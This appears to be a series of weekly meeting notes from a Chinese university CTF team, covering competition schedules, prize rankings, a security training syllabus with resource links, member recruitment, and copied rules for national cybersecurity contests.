Competition Name | +Link | +Start Time | +End Time | +Require pre-register | +
---|---|---|---|---|
pbctf 2023 | +https://ctf.perfect.blue/ | +2023-02-18 22:00 | +2023-02-20 10:00 | +False | +
HackTM CTF Quals 2023 | +https://ctf.hacktm.ro/ | +2023-02-18 20:00 | +2023-02-19 20:00 | +False | +
The prizes of COMPASS CTF 2022 are being customized and will be given to the winners offline before the second week of training. The time schedule of the training this semester is published.
+ + + + + + + + +Good afternoon, everyone. Welcome to this meeting. I hope you are all doing well today. We have a lot to cover, so let's get started. Let's make sure we respect each other's time, opinions, and ideas. Please be concise and stay on topic to ensure that we stay on schedule. And please feel free to ask questions or provide feedback at any time.
+After the CTF, if you are a student in SUSTech, we would have some prizes for top players.
+And for the top 5 players who haven't been in the CTF team / COMPASS lab, we would glad to invite you to join us.
+Rank | +ID | +Score | +
---|---|---|
1 | +Cerulime | +1373 | +
2 | +Ben | +1225 | +
3 | +cerium | +825 | +
4 | +Trust_04zh | +675 | +
5 | +nobody | +575 | +
6 | +CharlottE67 | +350 | +
7 | +12012430 | +275 | +
8 | +yxx | +200 | +
The prizes are being customized and will be given to the winners offline before the second week (next week) of training.
+I would invite the winners to our training this week and write the order for them prizes. Hope you enjoy this event.
+I list 12 ideas here, and I would add a new component in our weekly training for the students who are interested in the paper submitting. The topics are related to the CTF, and popular in the research area.
+For more details, I need to discover more with COMPASS's outstanding memebers.
+Topic | +Category | +Attachment | +Date | +
---|---|---|---|
Network Sniff: Introduction | +Web | +https://ithelp.ithome.com.tw/articles/10245117 https://ithelp.ithome.com.tw/articles/10245119 https://ithelp.ithome.com.tw/articles/10246315 https://ithelp.ithome.com.tw/articles/10246917 | +Feb. 26th, 2023 | +
Network Sniff: Multi-platform | +Web | +https://frida.re/docs/android/ | +March. 5th, 2023 | +
Network Scan | +Web | +https://websec.readthedocs.io/zh/latest/index.html | +March. 12th, 2023 | +
Ethereum and Solidity: Introduction | +Blockchain | +http://www.snowywar.top/?p=3848 | +March. 19th, 2023 | +
Ethereum and Solidity: Practice | +Blockchain | +http://www.snowywar.top/?p=3848 | +March. 26th, 2023 | +
IoT Security | +IoT | +https://paper.seebug.org/2048/ | +April. 2nd, 2023 | +
PWN: Stack | +PWN | +https://ir0nstone.gitbook.io/notes/ | +April. 9th, 2023 | +
PWN: Heap | +PWN | +https://ir0nstone.gitbook.io/notes/ | +April. 16th, 2023 | +
PWN: Kernel | +PWN | +https://ir0nstone.gitbook.io/notes/ https://paper.seebug.org/2036/ | +April. 23th, 2023 | +
Reverse Enginnering | +RE | +https://0xinfection.github.io/reversing/ | +April. 30th, 2023 | +
Real-World Cryptography | +Cryptography | +https://vitalik.ca/index.html | +May. 7th, 2023 | +
Real-World Security: Penetration | +RW | +https://www.ired.team/ | +May. 14th, 2023 | +
Real-World Security: Malware | +RW | +https://www.ired.team/ | +May. 21st, 2023 | +
Real-World Security: Summary | +RW | +https://www.ired.team/ | +May. 28th, 2023 | +
Competition Name | +Link | +Start Time | +End Time | +Require pre-register | +
---|---|---|---|---|
Cyber-Bytes 2023 | +https://www.jurhythm.in/#services | +2023-02-25 19:00 | +2023-02-26 00:00 | +False | +
Trellix HAX 2023 | +https://hax.trellix.com/ | +2023-02-25 16:00 | +2023-03-11 16:00 | +False | +
VU CYBERTHON 2023 | +https://www.cyberthon.lt/ | +2023-02-25 15:00 | +2023-02-26 03:00 | +False | +
A new summary about the research topics would be put after the training, for your academic purpose.
+I've talked about the COMPASS CTF 2022 Winners and Prizes, and invite the winners to our weekly meetings this week. Hope to see you this Sunday. For the research topics, I found more than 20 papers and selected 12 ideas about the CTF research, hope this can help you. Don't forget to join our weekly meeting this Sunday at 551 Meeting Room.
+ + + + + + + + +Glad to have a new student who is interested in the CTF, I've talked with him a little bit. Let's start our meeting this week. Don't forget we would have our training this Sunday normally.
+Discuss later after the meeting.
+The migration and backup of most of the original titles have been completed and are being deployed to the new platform. Discussion item 1: the type of topics migrated and the positioning of the GZCTF platform.
+Positioning of the new platform: used for topic reproduction environment (official environment has ended maintenance) and deployment and distribution of original topics. It can also be used for internal competition activities, competition, and new member recruitment.
+Topic migration scope.
+The retention of the old account will be discussed this week, whether to retain the original account data or to carry out a new account system. Discussion Item 2: Account data migration will be conducted.
+A new approach to recruiting new members this semester will be used to address the issue of basic content training taking time away from training for active members. At one time, when we did new member recruitment, we would embark on 2-3 weeks of basic content training, and it would be difficult for advanced-level members to learn anything new during that portion of time.
+ +Therefore, this semester's recruitment will be in the form of catechism/materials + offline advanced training. I will migrate the basic content training online, and invite the whole school to attend a 3-week basic content training and lecture, after which a recruitment/in-school competition will be held to decide on new members.
+The number of new members recruited this semester will be about 5.
+Basic content training will be posted on a wiki and linked to online archiving platforms (e.g. social accounts or catechism sites), and sections on basic content include.
+Additional information on the foundation content is provided in part as follows.
+The idea to write the book "CTF: From Practice to Principle" is inspired by my professor Fengwei, Zhang. From all of my personal experience with the CTF challenges and the events, there's always a huge gap between the beginner layer introduction to the advanced layer expert. When I start to step out of the beginner layer, it's very difficult to understand how and why some advanced knowledge.
+Under the thought of this aspect of the difficulty, I want to introduce those things you won't know when first solved some challenges. Each chapter of the book would start with some practice knowledge, and end with some difficult advanced principles. The whole book would be divided into two parts: basic knowledge that you can learn from simply reading and learning some limited necessary knowledge, and the hard part is that you need to read more about the principle, source code, and the details of the techniques.
+Being restricted by my skills, some parts of the book would refer to online websites, technical books, and research papers. I would carefully note the reference when I use them, and if that reference has violated the terms of usage, please contact me and I would delete those parts immediately. Besides, related apologies and compensation would be discussed.
+**Example reference format: **
+One of the common tools for web directory scanning is dirbuster
[1]. According to ...
[1] dirbuster: https://www.kali.org/tools/dirbuster/ Kali dirbuster description page, https://gitlab.com/kalilinux/packages/dirbuster GitLab dirbuster source code page
+The writing of the book is done by my limited experience and the architecture of knowledge. The mistakes and the errors are not avoidable. If you find any of them, please feel free to contact me, very glad to have your advice. By the way, I would like to send some presents (stickers, T-shirts, or other little things) in return. Luckily, we have an online page to host the book during my writing progress. It's also fine to use GitHub's pull request to correct any mistake.
+Enough for the book writing, now let's talk about the structure of the book in the next chapter.
+The National Student Information Security Competition is a large-scale network security competition recognized by the Ministry of Education and co-organized by the Office of the Leading Group of Network Security and Informatization of the CPC Central Committee, the National Information Security Engineering and Technology Research Center, the China Internet Development Foundation, and the China Information Security Certification Center, which has been held for fifteen years so far, including Peking University, Tsinghua University, Beijing Institute of Electronic Science and Technology Beijing University of Aeronautics and Astronautics, Renmin University of China, and Fudan University all conduct special training and participation for this purpose.
+The competition will be held in two tracks: the "Works Competition" and the "Innovation and Practice Competition". I will introduce them separately and use the 15th National Student Information Security Competition as an example to help you schedule.
+Reference link: http://117.78.33.202/competition/securityCompetition?compet_id=35
+I. Contents of this competition
+The information security works competition adopts open-ended and self-designed questions, and participants must complete the works and submit them online before the deadline. The content requirements of the entries are in accordance with the relevant provisions in the Charter of the National University Student Information Security Competition and the Entry Guide of the 2022 National University Student Information Security Competition-Works Competition (which will be published through the official website of the competition at http://www.ciscn.cn/公布 after the opening of the competition).
+The Security Forum contains several thematic sections, focusing on current trends and technical hotspots of the network security industry, discussing the cultivation of network security talents and innovation and entrepreneurship of college students, and carrying out colorful keynote speeches and all-around interaction.
+II. the object of participation
+Participants are full-time college students with official school registration nationwide. Students can form their own teams, and each team should have no more than 4 students (including a team leader). Each team is limited to one designated instructor and each student is limited to one team. The number of teams from each university is not limited and cross-college teams are not allowed.
+The Forum on Innovation and Entrepreneurship Development of Network Security Talents held during the final of the Information Security Competition will be open to teachers and students, enterprises, and individuals from universities nationwide.
+III. Participation Method
+According to the requirements of the Statute of the National University Students' Information Security Competition and the Participation Guide of the 2022 National University Students' Information Security Competition - Works Competition, please refer to the website of the competition for details.
+IV. Timetable
+Activities | +Activity Phase | +Schedule | +
---|---|---|
Information Security Competition. | +Registration and pre-tournament counseling. | +April 25-June 13. | +
Information Security Competition. | +Online submission of entries. | +April 30-June 15. | +
Information Security Competition. | +Preliminary List Announcement. | +June 18. | +
Information Security Competition. | +Online preliminary evaluation. | +June 25 - July 25. | +
Information Security Competition. | +Finalists announced. | +July 31. | +
Information Security Competition. | +Final evaluation meeting. | +August 19 registration, August 20 - August 21 competition. | +
Information Security Competition. | +Award ceremony. | +August 22nd. | +
Network Security Talent Forum. | +Call for topics and invitation of experts. | +April 25 - July 31. | +
Network Security Talent Forum. | +Main Forum. | +August 22nd. | +
V. Registration Instructions
+The online registration period for the Information Security Competition starts and ends on April 25, 2022, to June 13, 2022, at 24:00.
+After receiving the notification, each university should designate one teacher as the contact person (the contact person must be the university leader) before June 1, responsible for the matters related to the competition of the university, and download the "university contact teacher registration form" (see Annex 1) on the competition website, fill in the teacher's information as required and send it to the organizing committee via email Secretariat (including the electronic version and the scanned copy of the paper version with seal).
+The organizing committee will finish the qualification examination for the information security works competition on June 18 and announce the list of participants of the information security works competition. Before June 25, the contact person of each university shall summarize the "Summary Form of University Teams" (see Annex 2, downloaded from the competition website) and send it to the secretariat of the Organizing Committee via email (including electronic version and scanned copy of the sealed paper version). Teams participating in the Information Security Competition are required to pay the participation fee ($200 per team).
+I. Competition Organization Form
+The competition is organized in four stages: online registration and team formation, online preliminary selection, zonal competition, and national finals. There are eight regions in China, and teams from universities in each region will advance to the national finals through the regional competition.
+For more details and specific arrangements, please refer to the "15th National Student Competition on Information Security - Innovation and Practical Ability Competition Regulations", which will be announced through the official website of the competition (http://www.ciscn.cn/) after the competition starts.
+II. Target Participants and Requirements
+The target participants shall be full-time students (including senior high school, undergraduate and postgraduate students) with regular school registration in higher education institutions (undergraduate and senior high school institutions) nationwide, and the specific requirements are as follows
+(1) The maximum number of participants in each team shall not exceed 4, the number of teams in each university shall not be limited, and no cross-college teams shall be allowed.
+(2) Each person can only participate in one team (i.e. no team can be formed with others after individual participation, or no other team after individual participation in one team), and one instructor is allowed.
+(3) The campuses of universities distributed in different cities are regarded as different universities, and each campus can form teams to participate and be shortlisted for the divisional finals of their divisions, as well as the finals stage.
+(4) Instructors must be teachers in service at the universities where the teams are located. (3) Instructors can guide students in team formation and knowledge and skill training, but on-site participation must be done independently by participating students.
+(6) The instructors are responsible for managing and guiding the participating student teams throughout the whole process, and the participation process must not violate the competition rules, attack the competition platform, system, and third-party services, or violate national laws, regulations, and public order and morals (such as team names, etc.); the organizing committee will select excellent instructors (instructors of the teams that won the national first prize and innovation single award) and give them recognition.
+III. Competition schedule
+Activities | +Activity Phase | +Schedule | +
---|---|---|
Innovation Practice Competency Competition. | +Registration and coaching. | +April 29-May 20. | +
Innovation Practice Competency Competition. | +Announcement of the preliminary competition list. | +Around May 24th. | +
Innovation Practice Competency Competition. | +Online preliminary rounds. | +May 28-29. | +
Innovation Practice Competency Competition. | +The divisional list was announced. | +June 3. | +
Innovation Practice Competency Competition. | +Divisional competition time. | +June 6-20. | +
Innovation Practice Competency Competition. | +The finals list announced. | +July 1. | +
Innovation Practice Competency Competition. | +The Finals. | +August 6-7. | +
IV. Other matters
+Important notices and instructions about this competition will be announced and notified by the organizing committee through the competition's official website and official QQ group.
+The organizing committee will conscientiously implement the important speeches and instructions of General Secretary Xi Jinping on epidemic prevention and control, and if the situation of epidemic prevention and control of the new crown changes, the competition format, competition time, or content of the competition activities will be adjusted in accordance with the national and superior requirements in a timely manner. The details will be announced and notified through the competition website and official QQ group in a timely manner.
+We've talked about the AEG research idea about CTF this week. About the GZCTF, we've decided on the challenge categories and the data transmission rule. The new member recruiting project is ongoing, thanks for the advice for our poster. A book named "CTF From Practice to Principle" is now writing in order to give a brief idea to beginners in the CTF. At last, be sure you are prepared for the "National College Information Security Competition" as a COMPASS team.
+Looking forward to seeing you on Sunday.
+ + + + + + + + +In the first few weeks of the school year, our offline training is on schedule and we have recently been working on the training content with our Hunan University students. The recruitment program is also underway and more new students will be joining us soon. We still want to thank COMPASS Lab for the great support and hope that students will join COMPASS Lab in an excellent environment for innovative experiments and graduate students' choices.
+All of our prizes have been customized and we are about to complete the final awarding part of this competition.
+ +I hope everyone learned and made progress in this competition. Most importantly, I hope all the participants enjoyed the competition!
+I'm updating the wiki's toolkit directory, uploading all the tools I've used recently, and merging several toolset sites for inclusion. For beginners, you can use the toolset directly to build your environment quickly.
+Based on the original Win10 Workstation 21H2 x64 image (not available for ARM devices).
+Complete installation of WSL Kali Linux 2022.3.
+streamline the software that comes with the system, beautify the fonts and some icons, and moderate optimization.
+using single-disk file storage to improve performance.
+Recommended runtime environment:
+https://github.com/makoto56/penetration-suite-toolkit
+The most advanced Penetration Testing Distribution
+Kali Linux is an open-source, Debian-based Linux distribution geared towards various information security tasks, such as Penetration Testing, Security Research, Computer Forensics, and Reverse Engineering.
+The Kali Linux penetration testing platform contains a vast array of tools and utilities. From information gathering to final reporting, Kali Linux enables security and IT professionals to assess the security of their systems.
+https://www.kali.org/
+https://www.kali.org/tools
+BlackArch Linux is an Arch Linux-based penetration testing distribution for penetration testers and security researchers. The repository contains 2840 tools. You can install tools individually or in groups. BlackArch Linux is compatible with existing Arch installs. For more information, see the installation instructions. Also, news is published on our blog.
+Please note that BlackArch is a relatively new project. To report bugs and request new tools, please visit the issue tracker on Github, stop by Matrix, or email us.
+The BlackArch Full ISO contains multiple window managers. The BlackArch Slim ISO features the XFCE Desktop Environment. Below you will find screenshots of a few of them.
+https://blackarch.org/
+In addition, the tutorial section of the basic content has been uploaded to the wiki page, and you can now view the basic training section which is being updated, and later I will also update our new topic practice and tournament contact page to the home page.
+https://wiki.compass.college/CTF/CTF%20and%20Hacker%20Attitude/
+https://wiki.compass.college/CTF/Linux%20Basics/
+https://wiki.compass.college/CTF/Python_1/
+https://wiki.compass.college/CTF/Python_2/
+计算机科学与技术系COMPASS实验室有关计算机安全与网络安全培训的邀请函
+同学们好,
+为积极响应国家网络空间安全人才战略,加快攻防兼备创新人才培养步伐,提升学生攻防兼备的网络创新实践能力,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学生信息安全意识,提高学生的网络空间安全创新能力与实践技能,推动网络空间安全生态体系的人才培养和产学研用,计算机科学与技术系计算机系统安全实验室(COMPASS lab)与网络安全竞赛校队(COMPASS CTF)邀请同学们参加本科生计算机安全基础技能培训暨网络安全队伍成员招募活动。
+计算机安全基础技能培训将在线上进行,内容包括: + \1. 什么是网络安全与黑客精神;
+\2. Linux系OS的安装与使用;
+\3. Python编程基础:数学、网络、与图像处理;
+\4. 密码学基础与Sagemath教学;
+\5. 计算机网络基础与Burp Suite分析网络包;
+\6. 文件格式教程与十六进制编辑器;
+\7. IDA进行ELF/PE可执行文件逆向工程;
+\8. 二进制漏洞利用基础;
+\9. Docker容器安全与容器管理;
+\10. 更多内容正在补充……
+加入SUSTech CTF & Infosec 爱好者联盟群组获取有关活动的更多信息:787427165。二维码图片如下。
+每周日下午14:00-18:00将会在工学院南楼551会议室进行校队成员进阶训练,同样欢迎爱好者参与学习。
+本周日晚20:00-21:00将进行线上活动宣传会议,将在腾讯会议进行:448-489-4504,或使用链接直接进入会议: https://meeting.tencent.com/p/4484894504 。
+欢迎同学们通过朋友圈、QQ空间等方式进行内容分享及转发,支持大家的宣传协助,发送朋友圈/说说/其他推广可在周日线下训练现场领取可可爱爱小贴纸一份,点赞数超过50可以额外获得64GB渗透工具包U盘一份作为礼品。宣传海报如下。
+相关链接:
+\1. COMPASS实验室官方网站: https://compass.sustech.edu.cn/ ;
+\2. COMPASS CTF校队Wiki: https://wiki.compass.college/ ;
+\3. COMPASS CTF线上题目练习平台: http://detroit.sustech.edu.cn/ (校外访问) / http://116.7.234.225/ (校内访问);
+\4. COMPASS CTF线上赛事平台: http://detroit.sustech.edu.cn:29998/ (校外访问) / http://116.7.234.225:29998/ (校内访问);
+祝大家学有所成,共同进步。
+计算机系统与安全实验室,COMPASS CTF网络安全竞赛队伍
+李照
+ +These are the emails that will be sent to all undergraduates, and we are currently fighting with the compasslab email service that sends mass emails, so you will receive similar emails later.
+We will start our first online presentation this weekend at 20:00, and we will also record and archive the presentation for later viewing. The content of this event is: CTF introductory guide and hacking spirit.
+https://mp.weixin.qq.com/s?__biz=MzkyNDA5NjgyMg==&mid=2247495188&idx=1&sn=9883d07a787f36a7de1ce164a5a280af&chksm=c1d9ae4df6ae275b4530724a2ba1ce0524863cc62b26f25bc9c06d1ad74d8430f1b664140086&mpshare=1&scene=23&srcid=0306DosSvZInXqEwrQStS4vj&sharer_sharetime=1678109644023&sharer_shareid=e090099e1f84145c26d4ec5fa4a73e51#rd
+https://mp.weixin.qq.com/s/7OKn0HDs6E90TyfQJfjNeA
+We discussed the wiki page adjustments and the recruitment of newcomers, and the COMPASS CTF 2022 awards will be given out this week. This week's events include the 2023 Digital China Innovation Competition - Digital Talent track, and everyone is invited to participate.
+ + + + + + + + +This week we officially started the recruitment program, and the program is going very well, we have more than 20 new students who are learning the basic content tutorials, and when the basic content teaching is completed, April 1 and 2 will be tested. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).
+++https://mp.weixin.qq.com/s/H5BcT6A5BRTH1wZqi4YeEA
+
依照《2022第三届“网鼎杯”网络安全大赛规则》,半决赛及总决赛采用多种赛制融合的竞赛模式,时长均为8小时,半决赛比赛时间为4月14日10:00-18:00,总决赛比赛时间为4月15日9:00-17:00。
+半决赛各分组内排名前12的战队,以及在剩余战队中总积分靠前的2支战队,共计50支晋级总决赛。总决赛不再分组,按照比赛得分由高至低确认最终排名。
+一、半决赛赛制
+半决赛采用“共同防御+实景防御(RDG)+人工智能漏洞挖掘(RHG)+突破+云境靶场挑战”等多种赛制相融合的竞技方式。
+其中“共同防御”场景中新增“情报共享平台”,借鉴网络攻击的热点事件设计场景,参与演练的各界参赛选手协同联动,共同应对网络安全威胁。
+(参考原文)
+二、总决赛赛制
+总决赛依旧采用多种赛制相融合的竞技方式,晋级选手将不再分组,各队选手共同角逐网鼎杯最高荣誉。
+(参考原文)
+三、积分模式
+半决赛和总决赛积分模式如下:
+(参考原文)
+四、其他规则
+比赛当天所有参赛选手需持身份证原件到达比赛现场,迟到超半小时禁止入场。
+裁判有权根据现场情况对违规、违纪战队进行减分处理。
+比赛过程中请随时关注答题页面的公告栏,所有执行规则及判罚以最新公告为准。
+比赛过程中对平台或题目有问题,可以在答题页面端点击“呼叫裁判”按钮反馈问题,请描述清楚遇到的问题,否则可能影响应答效率。禁止随意在场内走动。
+为维护现场秩序,避免跨战队交流,去洗手间请举手示意,经过工作人员确认后可以凭申请人参赛证从相应出口有秩序去洗手间。
+第三届“网鼎杯”网络安全大赛组委会
+2023年3月
+The recruitment pattern for new members this semester is
+three-week online learning of basic content, with records, kept through Tencent meetings and video recording and used for future basic content review teaching.
+a two-day assessment session in the format of Jeopardy, which will be conducted using the COMPASS tournament platform.
+The number of new members recruited this semester is about 5.
+本赛道以切实解決数据安全产业发展中的实际问题为目标.有力推动数据安全产业发展,发挥数据安全技术创新、成果转化、人才培养等典型示范带动作用、推广优秀经验和成果,助力我国数据安全产业发展。
+官方比赛链接地址:https://www.dcic-china.com/competitions/10078
+线上赛时间:2023-03-27 00:00:00 - 2023-04-07 00:00:00
+本次比赛主办方:福建省通信管理局
+指导单位:数字中国建设峰会组委会
+承办单位:中国电子信息产业发展研究院、中国软件评测中心、工业和信息化部教育与考试中心
+协办单位:中国计算机行业协会数据安全专业委员会、北京永信至诚科技股份有限公司
+支持单位:蚂蚁集团、中孚信息股份有限公司、360数字安全科技集团有限公司、北京长亭科技有限公司、腾讯云计算(北京)有限责任公司、远江盛邦(北京)网络安全科技股份有限公司、北京众安天下科技有限公司、北京时代新威信息技术有限公司
+创新赛采用公开式竞赛,围绕数据安全治理,参赛单位提交实践案例。赛事分预赛和决赛。预赛阶段专家组评委将采取远程登录或本地安装的方式运行参赛作品,依据赛事专家制定的比赛评审标准进行打分,根据得分排名确定决赛名单。决赛采用答辩的形式,由赛事专家组对预赛入围方案进行评审。
+本赛道以切实解決数据安全产业发展中的实际问题为目标.有力推动数据安全产业发展,发挥数据安全技术创新、成果转化、人才培养等典型示范带动作用、推广优秀经验和成果,助力我国数据安全产业发展。
+官方比赛链接地址:暂无
+线上赛报名:2023-03-06 00:00:00 - 2023-03-22 00:00:00
+线上赛时间:2023-04-01 00:00:00 - 2023-04-01 00:00:00
+本次比赛主办方:福建省通信管理局
+指导单位:数字中国建设峰会组委会
+承办单位:中国电子信息产业发展研究院、中国软件评测中心、工业和信息化部教育与考试中心
+协办单位:中国计算机行业协会数据安全专业委员会、北京永信至诚科技股份有限公司
+支持单位:蚂蚁集团、中孚信息股份有限公司、360数字安全科技集团有限公司、北京长亭科技有限公司、腾讯云计算(北京)有限责任公司、远江盛邦(北京)网络安全科技股份有限公司、北京众安天下科技有限公司、北京时代新威信息技术有限公司
+由理论知识和技能操作两部分组成。理论部分涵盖政策法规和数据安全基础知识;技能操作部分涵盖数据识别、权限控制、脆弱性分析等方向,综合考察参赛者不同维度的数据安全能力水平。
+This week we officially started the recruitment program, and the program is going very well, we have more than 20 new students who are learning the basic content tutorials, and when the basic content teaching is completed, April 1 and 2 will be tested. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).
+ + + + + + + + +I'm back from illness currently. Next month we are going to play Wangding Cup Semi-Final / Final in Hangzhou. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).
+++https://mp.weixin.qq.com/s/H5BcT6A5BRTH1wZqi4YeEA
+
依照《2022第三届“网鼎杯”网络安全大赛规则》,半决赛及总决赛采用多种赛制融合的竞赛模式,时长均为8小时,半决赛比赛时间为4月14日10:00-18:00,总决赛比赛时间为4月15日9:00-17:00。
+半决赛各分组内排名前12的战队,以及在剩余战队中总积分靠前的2支战队,共计50支晋级总决赛。总决赛不再分组,按照比赛得分由高至低确认最终排名。
+一、半决赛赛制
+半决赛采用“共同防御+实景防御(RDG)+人工智能漏洞挖掘(RHG)+突破+云境靶场挑战”等多种赛制相融合的竞技方式。
+其中“共同防御”场景中新增“情报共享平台”,借鉴网络攻击的热点事件设计场景,参与演练的各界参赛选手协同联动,共同应对网络安全威胁。
+(参考原文)
+二、总决赛赛制
+总决赛依旧采用多种赛制相融合的竞技方式,晋级选手将不再分组,各队选手共同角逐网鼎杯最高荣誉。
+(参考原文)
+三、积分模式
+半决赛和总决赛积分模式如下:
+(参考原文)
+四、其他规则
+比赛当天所有参赛选手需持身份证原件到达比赛现场,迟到超半小时禁止入场。
+裁判有权根据现场情况对违规、违纪战队进行减分处理。
+比赛过程中请随时关注答题页面的公告栏,所有执行规则及判罚以最新公告为准。
+比赛过程中对平台或题目有问题,可以在答题页面端点击“呼叫裁判”按钮反馈问题,请描述清楚遇到的问题,否则可能影响应答效率。禁止随意在场内走动。
+为维护现场秩序,避免跨战队交流,去洗手间请举手示意,经过工作人员确认后可以凭申请人参赛证从相应出口有秩序去洗手间。
+第三届“网鼎杯”网络安全大赛组委会
+2023年3月
+The recruitment pattern for new members this semester is
+three-week online learning of basic content, with records, kept through Tencent meetings and video recording and used for future basic content review teaching.
+a two-day assessment session in the format of Jeopardy, which will be conducted using the COMPASS tournament platform.
+The number of new members recruited this semester is about 5.
+The basics and tutorials are posted on our wiki page currently. More contents are under design.
+本赛道以切实解決数据安全产业发展中的实际问题为目标.有力推动数据安全产业发展,发挥数据安全技术创新、成果转化、人才培养等典型示范带动作用、推广优秀经验和成果,助力我国数据安全产业发展。
+官方比赛链接地址:https://www.dcic-china.com/competitions/10078
+线上赛时间:2023-03-27 00:00:00 - 2023-04-07 00:00:00
+本次比赛主办方:福建省通信管理局
+指导单位:数字中国建设峰会组委会
+承办单位:中国电子信息产业发展研究院、中国软件评测中心、工业和信息化部教育与考试中心
+协办单位:中国计算机行业协会数据安全专业委员会、北京永信至诚科技股份有限公司
+支持单位:蚂蚁集团、中孚信息股份有限公司、360数字安全科技集团有限公司、北京长亭科技有限公司、腾讯云计算(北京)有限责任公司、远江盛邦(北京)网络安全科技股份有限公司、北京众安天下科技有限公司、北京时代新威信息技术有限公司
+创新赛采用公开式竞赛,围绕数据安全治理,参赛单位提交实践案例。赛事分预赛和决赛。预赛阶段专家组评委将采取远程登录或本地安装的方式运行参赛作品,依据赛事专家制定的比赛评审标准进行打分,根据得分排名确定决赛名单。决赛采用答辩的形式,由赛事专家组对预赛入围方案进行评审。
+本赛道以切实解決数据安全产业发展中的实际问题为目标.有力推动数据安全产业发展,发挥数据安全技术创新、成果转化、人才培养等典型示范带动作用、推广优秀经验和成果,助力我国数据安全产业发展。
+官方比赛链接地址:暂无
+线上赛报名:2023-03-06 00:00:00 - 2023-03-22 00:00:00
+线上赛时间:2023-04-01 00:00:00 - 2023-04-01 00:00:00
+本次比赛主办方:福建省通信管理局
+指导单位:数字中国建设峰会组委会
+承办单位:中国电子信息产业发展研究院、中国软件评测中心、工业和信息化部教育与考试中心
+协办单位:中国计算机行业协会数据安全专业委员会、北京永信至诚科技股份有限公司
+支持单位:蚂蚁集团、中孚信息股份有限公司、360数字安全科技集团有限公司、北京长亭科技有限公司、腾讯云计算(北京)有限责任公司、远江盛邦(北京)网络安全科技股份有限公司、北京众安天下科技有限公司、北京时代新威信息技术有限公司
+由理论知识和技能操作两部分组成。理论部分涵盖政策法规和数据安全基础知识;技能操作部分涵盖数据识别、权限控制、脆弱性分析等方向,综合考察参赛者不同维度的数据安全能力水平。
+【安恒信息】亲爱的参赛选手,您好!您报名的“2023数字中国创新大赛-数字网络安全人才挑战赛”将于2023年3月24日进行,请您按时参加。 +比赛地址:https://szzg2023.dasctf.com +比赛账号:aq#报名的手机号后七位 +比赛密码:Das#手机号后四位,如:Das#1234 +比赛时间:下午13:00-17:00 +注意事项:推荐使用Chrome或火狐浏览器,并设置允许弹出窗口。
+Last week we officially started the recruitment program, and the program is going very well, we have more than 20 new students who are learning the basic content tutorials, and when the basic content teaching is completed, April 8 and 9 will be tested. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).
+ + + + + + + + +I'm back from illness currently. Next month we are going to play Wangding Cup Semi-Final / Final in Hangzhou. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).
+++http://117.78.33.202/
+
赛事介绍:
+为积极响应国家网络空间安全人才战略,加快攻防兼备创新人才培养步伐,提升学生攻防兼备的网络创新实践能力,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学生信息安全意识,提高学生的网络空间安全创新能力与实践技能,推动网络空间安全生态体系的人才培养和产学研用。由南开大学承办的第十五届全国大学生信息安全竞赛—创新实践能力赛(以下简称“大赛")将于2022年4月至2022年7月举行,面向全国高校在校生开放。
+一、大赛组织形式
+本届大赛按照在线注册报名组队、线上初赛选拔、分区赛和全国总决赛四个阶段组织。全国设置八大赛区,各区域内高校参赛团队通过分区赛晋级全国总决赛。
+更多大赛内容和具体安排详见《第十五届全国大学生信息安全竞赛—创新实践能力赛竞赛规程》,开赛后将通过大赛官网(http://www.ciscn.cn/)公布。
+二、参赛对象及要求
+参赛对象应为全国高等学校(本科类和高职高专类院校)具有正规学籍的全日制在校大学生(包括高职高专、本科生、研究生),具体要求如下:
+1)每个参赛队伍人数最多不超过4人,允许校内跨年级、跨专业组队,各高校参赛队数不限,不可跨校组队;
+2)每人只能参加一支队伍(即个人参赛后不可再与他人组队参赛,或个人参加一个队伍后不可再参加另一个队伍),允许有一名指导老师;
+3)高校分布在不同城市的校区视为不同高校,各校区可分别组队参赛并入围到所在分区的分区决赛,以及总决赛阶段;
+4)指导教师必须是参赛队伍所在高校在职教师。指导教师可以指导学生进行组队、知识技能训练,但现场参赛必须由参赛学生独立完成;
+6)指导教师负责全程管理、指导参赛的学生队伍,参赛过程不得违反比赛规则,不对比赛平台、系统和第三方服务进行攻击,不得与国家法律、法规、公序良俗相违背(如队名等);组委会将评选优秀指导教师(获得全国一等奖及创新单项奖团队的指导老师),并予以表彰。
+赛事介绍:
+为选拔、推荐优秀网络空间安全专业人才,培养学生的创新意识与团队合作精神,提高学生的网络安全技术水平、创新实践与综合设计能力,推动我国高校网络空间安全专业建设与改革,由湖南大学承办的“第十五届全国大学生信息安全竞赛—作品赛”(以下简称“信息安全作品赛”),将于2022年4月至2022年8月在湖南长沙举行。
+一、本届竞赛活动内容
+1. 信息安全作品赛
+本次信息安全作品赛采用开放式自主命题,自主设计,参赛者须在截止日期前完成作品并网上提交。参赛作品的内容要求符合《全国大学生信息安全竞赛章程》和《2022年全国大学生信息安全竞赛—作品赛参赛指南》(开赛后将通过大赛官方网址http://www.ciscn.cn/公布)中的相关规定。
+2. 网络安全人才创新创业发展论坛
+安全论坛包含多个主题板块,围绕当前网安产业趋势与技术热点,探讨网络安全人才培养及大学生创新创业,开展丰富多彩的主题演讲与全方位互动。
+二、参赛对象
+参赛对象为全国具有正式学籍的全日制在校大学生。学生可自行组队参加,每支参赛队不超过4名学生(包括1名组长)。每支参赛队限指定1名指导教师,每名学生限参加1支参赛队。各高校参赛队数不限,不允许跨校组队。
+信息安全作品赛决赛期间举行的网络安全人才创新创业发展论坛将面向全国高校师生、企事业单位与个人。
+三、参赛方式
+根据《全国大学生信息安全竞赛章程》和《2022年全国大学生信息安全竞赛—作品赛参赛指南》要求,具体事宜详见竞赛网站。
+The recruitment pattern for new members this semester is
+three-week online learning of basic content, with records, kept through Tencent meetings and video recording and used for future basic content review teaching.
+a two-day assessment session in the format of Jeopardy, which will be conducted using the COMPASS tournament platform.
+The number of new members recruited this semester is about 5.
+The basics and tutorials are posted on our wiki page currently. More contents are under design.
